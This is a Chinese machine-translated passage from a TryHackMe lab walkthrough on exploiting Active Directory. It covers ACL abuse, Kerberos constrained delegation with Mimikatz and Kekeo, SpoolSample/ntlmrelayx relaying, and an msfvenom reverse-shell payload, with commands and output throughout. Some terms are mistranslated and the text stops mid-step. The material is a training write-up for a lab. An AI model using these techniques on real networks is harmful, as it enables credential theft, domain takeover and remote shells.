Introduction

该网络是 Breaching ADEnumerate AD 网络的延续。 请确保先完成这些网络,然后再继续此操作。 另请注意,我们将广泛讨论 AD 对象。 如果您需要复习一下,请快速浏览一下这个房间。 现在我们已经突破了 AD 并枚举了域的结构,我们将探索可用于利用枚举中可能出现的错误配置的不同方法。

广告利用

现在我们已经进行了内部勘察并了解了 AD 结构和环境的情况,现在是开发阶段的时候了。 此阶段利用错误配置来执行横向移动和权限升级的组合,直到我们达到执行目标的合适位置,如下图所示。 这个阶段通常与持久性相结合,以确保我们不会失去我们获得的新位置,但这将在下一个房间中介绍。 它通常还与附加枚举相结合,因为我们的新位置可能使我们能够获取有关土地情况的附加信息。

学习目标
在此网络中,我们将介绍几种可用于利用 AD 错误配置的方法。 这绝不是一个完整的列表,因为可用的方法通常是高度情境化的,并且依赖于 AD 结构和环境。 但是,我们将介绍以下利用 AD 的技术:

  • AD 代表团
  • 强制身份验证中继
  • 组策略对象
  • 定位广告用户
  • 域名信托
  • 银票和金票

Exploiting Permission Delegation

Active Directory 可以通过称为“权限委派”的功能来委派权限和特权(不要与下一个任务中将讨论的 Kerberos 委派混淆)。 授权使得 AD 在组织中如此强大。 想象一下,我们为一家拥有 50000 名员工的组织工作。 由于我们关心安全性,因此我们只有三个有权访问 DA 凭据的用户。 这三个用户不可能满足用户的所有请求,例如重置密码。 使用委派,我们可以将强制更改用户密码的权限委派给帮助台团队,这意味着他们现在拥有此特定功能的委派权限。 原则上,为了保证代表团的安全,应遵循最小特权原则。 然而,在大型组织中,这说起来容易做起来难。 在此任务中,我们将研究如何利用一些委派错误配置。

权限委托

权限委托漏洞通常称为基于 ACL 的攻击。 AD 允许管理员配置访问控制条目 (ACE) 来填充自主访问控制列表 (DACL),因此称为基于 ACL 的攻击。 几乎所有 AD 对象都可以使用 ACE 进行保护,ACE 描述任何其他 AD 对象对目标对象所具有的允许和拒绝的权限。

但是,如果这些 ACE 配置错误,攻击者就有可能利用它们。 让我们再看一下我们的例子。 如果 IT 支持团队通过域用户组被授予 ForceChangePassword ACE,则这将被视为不安全。 当然,他们能够重置忘记密码的员工的密码,但这种错误配置还允许他们重置特权帐户的密码,例如本质上允许权限升级的域管理员组成员的帐户。

利用 ACE

大量 ACE 可能会被错误配置,并且每种 ACE 的漏洞利用情况各不相同。 Bloodhound 文档 有助于解释枚举的 ACE 以及如何利用它们。 然而,我们将在这里看看几个值得注意的:

  • ForceChangePassword: 我们能够在不知道用户当前密码的情况下设置用户的当前密码。
  • 添加成员: 我们能够将用户(包括我们自己的帐户)、组或计算机添加到目标组。
  • GenericAll: 我们对对象拥有完全的控制权,包括更改用户密码、注册 SPN 或将 AD 对象添加到目标组的能力。
  • GenericWrite: 我们可以更新目标对象的任何不受保护的参数。 例如,这可以让我们更新 scriptPath 参数,这将导致用户下次登录时执行脚本。
  • WriteOwner: 我们有能力更新目标对象的所有者。 我们可以让自己成为所有者,从而获得对该对象的额外权限。
  • WriteDACL: 我们能够将新的 ACE 写入目标对象的 DACL。 例如,我们可以编写一个 ACE 来授予我们的帐户对目标对象的完全控制权。
  • AllExtendedRights: 我们有能力对目标对象执行与扩展 AD 权限相关的任何操作。 例如,这包括强制更改用户密码的能力。

为了利用这些 ACE,我们需要一种与 AD 交互的方法来发出这些请求。 两个最佳选项是 AD-RSAT PowerShell cmdlet 或 [PowerSploit](https: //github.com/PowerShellMafia/PowerSploit)。 根据环境中的漏洞和检测工具,一种选择可能更加隐蔽。 在此任务中,我们将展示两者。

寻血猎犬

Sharphound 已经为您执行并作为任务文件附加。 在 AttackBox 或 Kali 机器上启动 Bloodhound 并摄取数据。 不过,欢迎您按照枚举 AD 房间 中提供的步骤自行重新运行 Sharphound。 注意:如果您收到“无法连接到 LDAP,请验证您的凭据”,请确保您的域设置正确。 我们提供了 SharpHound 数据的 ZIP 作为任务文件。 在 AttackBox 上,您可以在“/root/Rooms/ExploitingAD/”下找到 ZIP 文件。 首先,我们需要启动 neo4j:

命令提示符

         thm@thm:~# neo4j console start
Active database: graph.db
Directories in use:
home: /var/lib/neo4j
config: /etc/neo4j
logs: /var/log/neo4j
plugins: /var/lib/neo4j/plugins
import: /var/lib/neo4j/import
data: /var/lib/neo4j/data
certificates: /var/lib/neo4j/certificates
run: /var/run/neo4j
Starting Neo4j.
[....]
2022-03-13 19:59:18.014+0000 INFO Bolt enabled on 127.0.0.1:7687.

在另一个终端选项卡中,运行“bloodhound –no-sandbox”。 这将向您显示身份验证 GUI:

Bloodhound Login Portal

neo4j 数据库的默认凭据为“neo4j:neo4j”。 使用它在 Bloodhound 中进行身份验证。 通过身份验证后,您可以将两个拉链拖放到 Bloodhound 屏幕上。 一旦数据被摄取,我们就可以再次开始枚举攻击路径。

权限提升

如果我们在 Bloodhound 中搜索任务 1 中分配的用户帐户,我们会发现我们没有很多权限。 我们能够通过 RDP 进入 THMWRK1,但这只会为我们提供低特权访问。

Bloodhound attack path

由于域是分层的,我们的第一步将是破坏第 2 层基础设施。 我们需要破坏 Tier 2 Admins 组,因为该组在所有工作站上拥有管理权限。 让我们问问寻血猎犬是否有一条道路可以用来危害这个组织。 添加您的用户帐户作为起始位置,并将 Tier 2 Admins 组添加为结束位置。

Bloodhound attack path

Bloodhound向我们展示了一条非常有趣的道路。 看来这个领域有一点权限委托。 管理员通过向 Domain Users 组提供 AddMembers ACE 错误配置了 IT Support 组的权限委派。 这意味着“域用户”组的任何成员(包括我们的帐户)都可以将帐户添加到“IT 支持”组。 此外,Bloodhound 显示 IT 支持 组拥有针对 Tier 2 Admins 组成员的 ForceChangePassword ACE。 这并不是真正的错误配置,因为第 2 层管理员并不那么敏感,但与最初的错误配置结合使用时,它提供了非常有效的攻击路径。 让我们利用它吧!

添加会员

此攻击路径的第一步是将我们的 AD 帐户添加到 IT Support 组。 为此,我们将使用 AD-RSAT 工具集中的 Add-ADGroupMember PowerShell cmdlet。 在 THMJMP1 主机上启动 PowerShell(通过 RDP 或通过 SSH)并运行以下命令来添加您的帐户:

PowerShell

PS C:\>Add-ADGroupMember "IT Support" -Members "Your.AD.Account.Username"

我们可以使用 Get-ADGroupMember cmdlet 验证该命令是否有效:

PowerShell

         PS C:\>Get-ADGroupMember -Identity "IT Support"
distinguishedName : CN=hugh.jones,OU=Consulting,OU=People,DC=za,DC=tryhackme,DC=loc
name : hugh.jones
objectClass : user
objectGUID : 460178d3-c818-4e28-9a39-b1ab2b0d3779
SamAccountName : hugh.jones
SID : S-1-5-21-3885271727-2693558621-2658995185-1113

如果一切正常,您应该会以会员身份看到您的帐户。

强制更改密码

现在我们是 IT Support 组的成员,我们继承了 Tier 2 Admins 组的 ForceChangePassword 权限委托。 首先,我们需要确定该群体的成员以选择目标。 我们可以再次使用 Get-ADGroupMember cmdlet 来协助完成此操作:

PowerShell

         PS C:\>Get-ADGroupMember -Identity "Tier 2 Admins"
distinguishedName : CN=t2_lawrence.lewis,OU=T2 Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc
name : t2_lawrence.lewis
objectClass : user
objectGUID : 4ca61b47-93c8-44d2-987d-eca30c69d828
SamAccountName : t2_lawrence.lewis
SID : S-1-5-21-3885271727-2693558621-2658995185-1893

[....]

distinguishedName : CN=t2_leon.francis,OU=T2 Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc
name : t2_leon.francis
objectClass : user
objectGUID : 854b6d40-d537-4986-b586-c40950e0d5f9
SamAccountName : t2_leon.francis
SID : S-1-5-21-3885271727-2693558621-2658995185-3660

记下这些帐户之一的用户名。 由于网络是共享的,因此最好选择列表中更靠下的一个。 我们将使用 Set-ADAccountPassword AD-RSAT cmdlet 强制更改密码:

PowerShell

会话
          PS C:\>$Password = ConvertTo-SecureString "New.Password.For.User" -AsPlainText -Force
PS C:\>Set-ADAccountPassword -Identity "AD.Account.Username.Of.Target" -Reset -NewPassword $Password
````

**注意:如果您收到“拒绝访问”错误,则表明您的权限尚未通过域传播。 这最多可能需要 10 分钟。 最好的方法是终止 SSH 或 RDP 会话,短暂休息一下,然后重新进行身份验证并重试。 您还可以运行** `gpupdate /force` **然后断开连接并重新连接,这在某些情况下会导致同步更快。**

如果此步骤有效,您现在应该能够使用此目标帐户及其新密码向 THMWRK1 进行身份验证。 您当前拥有此工作站的管理访问权限。 恭喜! 您已通过利用权限委派将您的特权正式升级为第 2 级管理员。

# Exploiting Kerberos Delegation

接下来,我们将了解 Kerberos 委托。 当您谈论 AD 委派时,通常讨论的是这,而不是权限委派。

Kerberos 委托

Kerberos 委派的实际用途是使应用程序能够访问托管在不同服务器上的资源。 例如,Web 服务器需要访问其托管的 Web 应用程序的数据库服务器上托管的 SQL 数据库。 如果没有委派,我们可能会使用 AD 服务帐户并为其提供对数据库的直接访问权限。 当在 Web 应用程序上发出请求时,服务帐户将用于对数据库进行身份验证并恢复信息。

但是,我们可以允许将此服务帐户委托给 SQL Server 服务。 用户登录我们的 Web 应用程序后,服务帐户将代表该用户请求访问数据库。 这意味着用户只能访问他们拥有相关权限的数据库中的数据,而无需向服务帐户本身提供任何数据库特权或权限。

受约束与无约束

Kerberos 委派有两种类型。 在Kerberos Delegation的最初实现中,使用的是Unconstrained Delegation,这是最不安全的方法。 本质上,无约束委派对委派没有任何限制。 在后台,如果设置了“TRUSTED_FOR_DELEGATION”标志的用户对配置了无约束委派的主机进行身份验证,则会生成该用户帐户的票证授予票证 (TGT) 并将其存储在内存中,以便以后需要时使用。 假设攻击者可以危害启用了无约束委派的主机。 在这种情况下,他们可能会尝试强制特权帐户向主机进行身份验证,这将允许他们拦截生成的 TGT 并模拟特权服务。 如果您想查看利用无约束委派的示例,请查看[此处](https://medium.com/@riccardo.ancarani94/exploiting-unconstrained-delegation-a81eabbd6976)。

为了解决无约束委派的安全缺陷,Microsoft 于 2003 年引入了约束委派。约束委派限制了帐户可以委派的服务,从而限制了帐户被泄露时的风险。 以下是可以配置委派的服务示例:

- HTTP - 用于 Web 应用程序以允许使用 AD 凭据进行直通身份验证。
- CIFS - 通用互联网文件系统用于文件共享,允许用户委派共享。
- LDAP - 用于委托 LDAP 服务执行重置用户密码等操作。
- 主机 - 允许主机上所有活动的帐户委派。
- MSSQL - 允许将用户帐户委派给 SQL 服务,以对数据库进行直通身份验证。

利用受约束委派通常比利用无约束委派更复杂,因为受委派帐户不能仅用于所有用途。 然而,它仍然可以用于一些强大的利用。 一个例子是,如果我们能够破坏配置了约束委派的 AD 帐户。 通过知道该帐户的明文密码甚至 NTLM 哈希值,我们可以为该帐户生成 TGT,然后使用 TGT 为任何非敏感用户帐户执行票证授予服务器 (TGS) 请求,以便访问 作为该用户的服务。 例如,想象一下模拟一个可以访问敏感数据库的帐户。

基于资源的约束委派

所以 Kerberos 委托实际上分为三种类型。 但这一点本身就值得一提。 Microsoft 于 2012 年推出的基于资源的约束委派 (RBCD) 再次对 Kerberos 委派提供了额外的安全限制。 RBCD 完全改变了委托模型。 服务现在指定哪些对象可以委托给它,而不是指定哪个对象可以委托给哪个服务。 这允许服务所有者控制谁可以访问它。 在我们的 Web 应用程序示例中,这意味着我们现在可以在数据库服务上指定允许 Web 服务帐户委派对其的访问,而不是指定 Web 服务帐户可以委托给数据库服务来访问数据库。

假设我们有权为某个服务配置 RBCD。 这意味着我们能够为 AD 对象设置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。 我们可以使用我们有权访问的 AD 帐户的详细信息填充此属性。 现在,为了获得对该服务的访问权限,我们可以为我们控制的帐户生成一个 TGT,这将允许我们与该服务进行交互。 如果您想要 RBCD 利用的详细示例,请查看[此处](https://stealthbits.com/blog/resource-based-constrained-delegation-虐待/)。

受限委托利用

我们将利用约束委派来完成这项任务。 我们需要做的第一件事是枚举可用的委托。 让我们使用新的特权用户来执行网络命令。 我们可以通过运行以下命令来使用 PowerSploit 的 **Get-NetUser** cmdlet 进行此枚举:

PowerShell

```shell-session
PS C:\>Import-Module C:\Tools\PowerView.ps1
PS C:\>Get-NetUser -TrustedToAuth

根据此命令的输出,我们可以看到 svcIIS 帐户可以委托 THMSERVER1 上的 HTTP 和 WSMAN 服务。 您可能会认为这意味着我们只能代表模拟用户访问网站。 但是,PowerShell Remoting 也使用 HTTP 和 WSMAN 服务。 理想的选择是模拟第 1 层管理员,因为这将为我们提供对 THMSERVER1 的管理访问权限。

如果您要对 THMWRK1 执行正确的利用后枚举,您会发现主机上有一个服务以 svcIIS 用户身份运行。 由于我们现在拥有管理访问权限,因此我们可以使用它来转储 LSASecrets,它是 Windows 注册表配置单元的一部分,其中存储了 Windows 服务等功能的凭据。 让我们使用 Mimikatz 转储秘密:

命令提示符

         C:\> C:\Tools\mimikatz_trunk\x64\mimikatz.exe

.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM


mimikatz # lsadump::secrets
Domain : THMWRK1
SysKey : redacted

Local name : THMWRK1 ( S-1-5-21-3226461851-763325627-4205969673 )
Domain name : ZA ( S-1-5-21-3885271727-2693558621-2658995185 )
Domain FQDN : za.tryhackme.loc

Policy subsystem is : 1.18
LSA Key(s) : 1, default {cfcff4be-beab-7d93-cfa3-edb6a9a3bf27}
[00] {cfcff4be-beab-7d93-cfa3-edb6a9a3bf27} 929bd1cdc726d31f5eea6fa5266a09521afd0be6309a08fd604c9a95c2af4463

Secret : $MACHINE.ACC
cur/text: redacted
NTLM:redacted
SHA1:redacted
old/text: redacted
NTLM:redacted
SHA1:redacted

Secret : DefaultPassword
cur/text: redacted
old/text: redacted

Secret : _SC_thmwinauth / service 'thmwinauth' with username : svcIIS@za.tryhackme.loc
cur/text: redacted

mimikatz #

让我们运行一下这两个命令:

  • token::elevate - 要从注册表配置单元转储机密,我们需要模拟 SYSTEM 用户。
  • lsadump::secrets - Mimikatz 与注册表配置单元交互以提取明文凭据。

现在我们可以访问与 svcIIS 帐户关联的密码,我们可以执行 Kerberos 委派攻击。 我们将使用 KkeoMimikatz 的组合。 您可以为 Mimikatz 使用另一个窗口,但请确保在执行 token::elevate 命令后退出 Mimikatz,否则稍后将在错误的上下文中加载票证。 我们将使用 Kekeo 生成票证,然后使用 Mimikatz 将这些票证加载到内存中。 让我们从生成票开始:

命令提示符

         PS C:\> C:\Tools\kekeo\x64\kekeo.exe

___ _ kekeo 2.1 (x64) built on Dec 14 2021 11:51:55
/ ('>- "A La Vie, A L'Amour"
| K | /* * *
\____/ Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
L\_ https://blog.gentilkiwi.com/kekeo (oe.eo)
with 10 modules * * */

kekeo #

我们首先需要生成一个 TGT,可用于生成 HTTP 和 WSMAN 服务的票证:

克克奥

kekeo # tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:redacted
Realm : za.tryhackme.loc (za)
User : svcIIS (svcIIS)
CName : svcIIS [KRB_NT_PRINCIPAL (1)]
SName : krbtgt/za.tryhackme.loc [KRB_NT_SRV_INST (2)]
Need PAC : Yes
Auth mode : ENCRYPTION KEY 23 (rc4_hmac_nt ): 43460d636f269c709b20049cee36ae7a
[kdc] name: THMDC.za.tryhackme.loc (auto)
[kdc] addr: 172.31.1.101 (auto)
> Ticket in file 'TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi'

参数解释:

  • 用户 - 具有受限委派权限的用户。
  • 域 - 我们正在攻击的域,因为 Kekeo 可用于伪造票证以滥用跨林信任。
  • 密码 - 与 svcIIS 帐户关联的密码。

现在我们有了可以执行委托的帐户的 TGT,我们可以为我们想要模拟的帐户伪造 TGS 请求。 我们需要对 HTTP 和 WSMAN 执行此操作,以允许我们在 THMSERVER1 上创建 PSSession:

克克奥

kekeo # tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:http/THMSERVER1.za.tryhackme.loc
Ticket : TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
[krb-cred] S: krbtgt/za.tryhackme.loc @ ZA.TRYHACKME.LOC
[krb-cred] E: [00000012] aes256_hmac
[enc-krb-cred] P: svcIIS @ ZA.TRYHACKME.LOC
[enc-krb-cred] S: krbtgt/za.tryhackme.loc @ ZA.TRYHACKME.LOC
[enc-krb-cred] T: [4/30/2022 1:29:00 PM ; 4/30/2022 11:29:00 PM] {R:5/7/2022 1:29:00 PM}
[enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
[enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac ): 548e500d4ee2f5c61710254ea9dd43e2ce0123026d329c97e512695e2f1777a7
[s4u2self] t1_trevor.jones
[kdc] name: THMDC.za.tryhackme.loc (auto)
[kdc] addr: 172.31.1.101 (auto)
> Ticket in file 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_svcIIS@ZA.TRYHACKME.LOC.kirbi'
Service(s):
[s4u2proxy] http/THMSERVER1.za.tryhackme.loc
> Ticket in file 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi'

参数解释:

  • tgt - 我们提供在上一步中生成的 TGT。
  • user - 我们想要模拟的用户。 由于 t2_ 帐户具有工作站的管理访问权限,因此可以安全地假设 t1_ 帐户将具有服务器的管理访问权限,因此请选择您想要模拟的 t1_ 帐户。
  • 服务 - 我们想要使用委托来模拟的服务。 我们首先为 HTTP 服务生成一个 TGS。 然后我们可以为 WSMAN 服务重新运行相同的命令。

再次运行该命令,这次是针对 WSMAN 服务。 现在我们有了两张 TGS 票据,我们可以使用 Mimikatz 导入它们:

mimikatz

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi

* File: 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi': OK

mimikatz # kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi

* File: 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi': OK

如果您想验证票证是否已导入,您可以退出 Mimikatz 并运行“klist”。 现在票证已导入,我们终于可以在 THMSERVER1 上创建 PSSession:

电源外壳

         mimikatz # exit
Bye!
PS C:> New-PSSession -ComputerName thmserver1.za.tryhackme.loc

Id Name ComputerName ComputerType State ConfigurationName Availability
-- ---- ------------ ------------ ----- ----------------- ------------
1 WinRM1 thmserver1.z... RemoteMachine Opened Microsoft.PowerShell Available


PS C:\> Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc
[thmserver1.za.tryhackme.loc]: PS C:\Users\t1_trevor.jones\Documents> whoami
za\t1_trevor.jones

通过利用约束委派,我们现在拥有访问 THMSERVER1 的特权!

Exploiting Automated Relays

在此任务中,我们将了解一些自动继电器。 身份验证尝试不断地在网络上飞来飞去,正如 Breaching AD room 所示,如果幸运的话,我们可以拦截其中一些挑战以获得访问权限。 但如果我们不喜欢等待怎么办? 如果我们可以强制进行身份验证怎么办?

尽管我们已经拥有对 THMSERVER1 的特权访问权限,但我们可能无法访问受限委派漏洞。 这是另一种出色的攻击,可以通过执行该攻击来获得对主机的特权访问。

机器账户

所有 Windows 主机都有一个计算机帐户。 本质上,这是与计算机关联的用户帐户。 除非有人篡改了主机的账户,否则这些账户的密码是无法破解的。 默认情况下,它们的长度为 120 个字符 (UTF16),并且每 30 天自动轮换一次。

在 AD 中,这些计算机帐户在不同的服务中被大量使用。 不同的域控制器使用其计算机帐户来同步 AD 更新和更改。 当您代表正在使用的主机请求证书时,该主机的计算机帐户将用于对 AD 证书服务进行身份验证。

AD 中有一种特殊情况,其中一台机器对另一台机器具有管理员权限。 本质上,在 AD 配置中,一台主机的管理权限已被授予另一台主机。 同样,这是必须同步的域控制器或 SQL 集群等预期功能。 然而,这些实例为强制身份验证提供了非常有趣的攻击媒介。

我们首先需要确定计算机帐户对另一台计算机具有管理访问权限的情况。 我们可以使用 Bloodhound 来实现此目的,但这意味着我们必须编写一些自定义密码查询。 单击 Bloodhound 中“分析”选项卡中的“创建自定义查询”:

Bloodhound raw query

我们要编写以下查询:

MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p

此查询将尝试查找一台计算机与另一台计算机具有“AdminTo”关系的实例。 您应该看到与此类似的输出:

Bloodhound Attack Path

这很有趣。 它向我们表明 THMSERVER2 计算机帐户对 THMSERVER1 计算机具有管理权限。

打印机错误

这不是一个错误,而是一个功能 - Microsoft。

说真的,当此事被报道时,微软回应称这是一项功能。 打印机错误是 MS-RPRN 协议(PrintSystem 远程协议)的一项“功能”,该协议允许域用户远程强制运行 Print Spooler 服务的目标主机对任意 IP 地址进行身份验证。 近年来出现了一些这样的错误:Spooler、PetitPotam、PrintNightmare。 微软声称唯一的错误是其中一些根本不需要 AD 凭据,但这个问题已通过安全补丁解决。

因此,要利用这一点,除了机器帐户管理权限外,我们还需要满足以下四个条件:

  1. 一组有效的 AD 帐户凭据。
  2. 与目标 SMB 服务的网络连接。
  3. 目标主机必须运行Print Spooler 服务。
  4. 主机不得强制执行 SMB 签名。

条件 1 和 2 已经满足。 我们需要确保工作的唯一两个条件是条件 3 和 4。

打印后台处理程序服务

我们需要确定打印后台处理程序服务是否正在运行。 由于我们无法访问THMSERVER2,所以需要从网络角度进行查询。 在这种情况下,我们可以使用 THMWRK1 上的 SSH 会话中的 WMI 查询来查询服务的当前状态:

PowerShell

         PS C:\> GWMI Win32_Printer -Computer thmserver2.za.tryhackme.loc


Location :
Name : Microsoft XPS Document Writer
PrinterState : 0
PrinterStatus : 3
ShareName :
SystemName : THMSERVER2

Location :
Name : Microsoft Print to PDF
PrinterState : 0
PrinterStatus : 3
ShareName :
SystemName : THMSERVER2

cmdlet 的输出验证服务是否正在运行。 如果我们收到访问被拒绝错误,您也许可以尝试使用 PowerShell 命令“Get-PrinterPort -ComputerName thmserver2.za.tryhackme.loc”。 然而,微软一直在打击从网络角度查看这些端口。 如果两者都给你带来了错误,你可能只需要大胆尝试一下。 这样,条件三就满足了。

中小企业签名

为了中继强制身份验证尝试,不应强制执行 SMB 签名。 应该注意的是,允许 SMB 签名和强制执行 SMB 签名之间存在差异。 由于某些旧系统不支持 SMB 签名,因此默认情况下,SMB 的配置是允许但不强制签名,这意味着只有支持时才会使用它。 由于我们将托管恶意 SMB 服务器,因此我们可以确保我们的服务器不支持签名,从而强制目标不对 SMB 身份验证尝试进行签名。

要验证 THMSERVER1 和 THMSERVER2 没有强制执行 SMB 签名,我们可以在 AttackBox 上使用 Nmap:

终端

         thm@thm:~# nmap --script=smb2-security-mode -p445 thmserver1.za.tryhackme.loc thmserver2.za.tryhackme.loc
Nmap scan report for distributor.za.tryhackme.loc (172.31.1.201)
Host is up (0.62s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds

Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required

Nmap scan report for 172.31.1.202
Host is up (0.38s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds

Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required

Nmap done: 2 IP addresses (2 hosts up) scanned in 4.59 seconds

我们可以看到 SMB 签名已启用,但根据输出并未强制执行。 这意味着我们所有的条件都满足了,我们可以开始进攻了!

利用身份验证中继

注意:此攻击可能不稳定。 滥用打印后台处理程序服务可能会导致其崩溃,并且并不总是保证回调。 因此,上一个任务已为您提供了继续所需的权限。 然而,了解身份验证中继以及如何强制执行它们对于 AD 攻击至关重要。 因此,下面提供了执行此类攻击的步骤。 您可以决定尝试一下,但不能保证回调。 如果它不起作用,请继续执行下一个任务,也许在您的房间旅程结束时再次探索这个问题。

我们将使用 SpoolSample 来利用身份验证中继。 它是一个 C# 漏洞,但已为您编译并存储在 THMWRK1 上的“C:\Tools\”目录中。 我们将使用 Spoolsample.exe 强制 THMSERVER2 在 AttackBox 上向我们进行身份验证,然后使用 Impacket 的 [ntlmrelayx.py](https://github.com/ SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py) 来中继身份验证尝试 THMSERVER1。 请注意,如果您使用自己的 VM,则需要确保您拥有支持 SMBv2 的 Impacket 更新版本。

第一步是设置 NTLM 中继。 在我们的 AttackBox 上,我们可以使用以下内容:

终端

thm@thm:~# python3.9 /opt/impacket/examples/ntlmrelayx.py -smb2support -t smb://"THMSERVER1 IP" -debug

如果我们指定 THMSERVER1 的主机名而不是 IP,主机可能会请求我们使用 Kerberos 身份验证而不是 NTLM。 因此我们应该指定 IP。 通过中继侦听,我们现在可以强制 THMSERVER2 向我们进行身份验证。 在 THMWRK1 上的 SSH 终端中,执行以下命令:

终端

C:\Tools\>SpoolSample.exe THMSERVER2.za.tryhackme.loc "Attacker IP"

您的攻击者 IP 应与网络的 tunX 接口相对应。 如果一切顺利,您应该已收到身份验证尝试和到 THMSERVER1 的中继。

终端

         thm$ python3.9 ntlmrelayx.py -smb2support -t smb://"THMSERVER1 IP" -c 'whoami /all' -debug
[*] Servers started, waiting for connections
[*] SMBD-Thread-5: Received connection from 172.31.1.202, attacking target smb://172.31.1.201
[*] Authenticating against smb://172.31.1.201 as ZA/THMSERVER2$ SUCCEED
[+] No more targets
[*] SMBD-Thread-7: Connection from 172.31.1.202 controlled, but there are no more targets left!
[+] No more targets
[*] SMBD-Thread-8: Connection from 172.31.1.202 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[+] ExecuteRemote command: %COMSPEC% /Q /c echo whoami /all ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
[*] Executed specified command on host: 172.31.1.201

USER INFORMATION
----------------

User Name SID
=================== ========
nt authority\system S-1-5-18


GROUP INFORMATION
-----------------

Group Name Type SID Attributes
====================================== ================ ============ ==================================================
BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
Mandatory Label\System Mandatory Level Label S-1-16-16384
[...]

此输出类似于使用“-c ‘whoami /all’”命令时会发生的情况。 但是,通过不指定任何命令,您现在应该已经执行了哈希转储。 现在可以使用这些凭据在主机上获取 shell!

Exploiting AD Users

到目前为止,我们的开发已经取得了很大进展。 我们拥有对工作站和服务器的完全管理访问权限。 本质上,我们可以在几乎任何第 1 层和第 2 层系统上执行后利用。 但我们仍然想走得更远。 下一个任务也可以被视为后利用,但当我们仍在执行利用以达到目标执行的合适位置时,通常是一个很好的选择。 现在是我们瞄准AD用户的时候了。

用户和用户行为

未来的工厂将只有两名员工。 一个人和一只狗。 人类将在那里喂狗。 如果人类试图触摸某物,狗就会咬人。 - 沃伦·本尼斯

不幸的是,用户往往是安全链中最薄弱的环节。 只需考虑一下弱密码和坏习惯,例如授予过于宽松的权限。 忽视这个攻击面是无知且无效的。 虽然针对 AD 用户建立适当的枚举和攻击方法是件好事,但在此任务中,我们将重点关注两个要素:

  • 凭证管理 - 用户如何存储其凭证。 在 AD 中,这一点非常重要,因为用户可能拥有多组凭据,并且记住所有这些凭据可能会很麻烦。
  • 键盘记录 - 通常,在利用过程中,我们需要了解普通用户如何与系统交互。 与屏幕截图一起,键盘记录可以成为从攻击者的角度获得这种理解的有用工具。

寻找凭证

既然我们已经破坏了 THMSERVER1,我们可能应该四处看看是否有任何有用的信息。 查看用户目录,看看其中是否有一些有用的信息。

您的枚举工作应该会引导您找到 .kdbx 文件。 快速谷歌一下应该会证实我们的怀疑,这个文件确实非常有价值! 我们可以使用Meterpreter的下载命令来恢复这个文件。

该文件似乎是一个凭证数据库。 然而,问题是数据库是用密码加密的。 我们可以尝试破解密码,但使用凭证数据库的任何人通常都具有确保初始密码安全的能力。 看看用户如何与该数据库交互,我们可能会取得更大的成功。

SYSTEM 有时特权太高

Meterpreter 有一个内置的键盘记录器。 这对于提取用户的击键非常有用。 然而,我们不能只是启动这个键盘记录器并希望得到最好的结果,因为我们的 shell 当前正在系统上下文中运行。 SYSTEM 不会输入任何按键,所以这对我们没有帮助。 为了捕获正确的用户凭据,我们需要确保 shell 正在该用户的上下文中运行。

幸运的是,Meterpreter 为我们提供了迁移功能,由于我们以 SYSTEM 身份运行,所以我们应该能够迁移到任何进程。 您可以在 THMSERVER1 上执行远程代码,使用它来获取 Meterpreter shell。 如果您需要回顾一下 Meterpreter 和 Metasploit 的使用,这里有一个关于其使用的模块。 但是,为了快速了解,您可以使用以下命令生成 PowerShell Meterpreter有效负载:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=exploitad LPORT="Listening port" -f psh -o shell.ps1

然后,您还可以使用以下命令在 msfconsole 中创建关联的侦听器:

